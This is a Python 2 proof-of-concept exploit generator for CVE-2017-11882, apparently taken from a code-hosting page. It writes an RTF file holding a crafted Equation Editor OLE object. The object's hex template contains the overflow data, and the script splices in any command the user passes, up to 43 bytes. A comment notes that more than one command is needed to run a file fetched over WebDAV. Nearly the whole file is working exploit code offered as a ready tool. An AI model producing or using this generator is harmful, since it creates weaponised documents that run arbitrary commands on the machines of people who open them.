156 lines
9.8 KiB
Python
156 lines
9.8 KiB
Python
import argparse
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import sys
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RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
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{\*\generator Riched20 6.3.9600}\viewkind4\uc1
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\pard\sa200\sl276\slmult1\f0\fs22\lang9"""
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RTF_TRAILER = R"""\par}
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"""
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OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """
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OBJECT_TRAILER = R"""
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}{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
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{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}}
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{\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}}
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{\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
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\picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02
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00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}}
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"""
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OBJDATA_TEMPLATE = R"""
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01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
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b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001
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0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe
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fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000
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000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000
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0000000000000000000000000000000000000000000000000000001400000000000000010043006f
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006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000
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00000000000000000000000000000000000000000000000000000000000000010000006600000000
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00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff
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ffffff00000000000000000000000000000000000000000000000000000000000000000000000003
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0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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ffffff01000002080000000000000000000000000000000000000000000000000000000000000000
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0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02
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ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e
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30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000
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00000000000000000000000000000000000000000000000000000000000000000000000000030004
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
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ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
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414141414141414141414141414141414141414141120c4300000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000000000004500710075
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006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000
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0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000
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0000000000000000000000000000000000000000000000000000000000000004000000c500000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff
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ffffff00000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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000000000000000000000000000000000000000000000000000000000000000000000000000000ff
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ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000000000000000000000000000000
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00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000
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00000000000000000000000000000000000000000000000000000001050000050000000d0000004d
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45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500
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000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00
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050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00
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ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468
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54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65
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7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001
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90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131
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0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131
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31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000
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0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff
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7cef1800040000002d01010004000000f0010000030000000000
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"""
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COMMAND_OFFSET = 0x949*2
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def create_ole_exec_primitive(command):
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if len(command) > 43:
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print "[!] Primitive command must be shorter than 43 bytes"
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sys.exit(0)
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hex_command = command.encode("hex")
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objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n")
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ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):]
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return OBJECT_HEADER + ole_data + OBJECT_TRAILER
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def create_rtf(header,command,trailer):
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ole1 = create_ole_exec_primitive(command + " &")
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# We need 2 or more commands for executing remote file from WebDAV
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# because WebClient service start may take some time
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return header + ole1 + trailer
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if __name__ == '__main__':
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parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882")
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parser.add_argument("-c", "--command", help="Command to execute.", required=True)
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parser.add_argument('-o', "--output", help="Output exploit rtf", required=True)
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args = parser.parse_args()
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rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER)
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output_file = open(args.output, "w")
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output_file.write(rtf_content)
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print "[*] Done ! output file --> " + args.output
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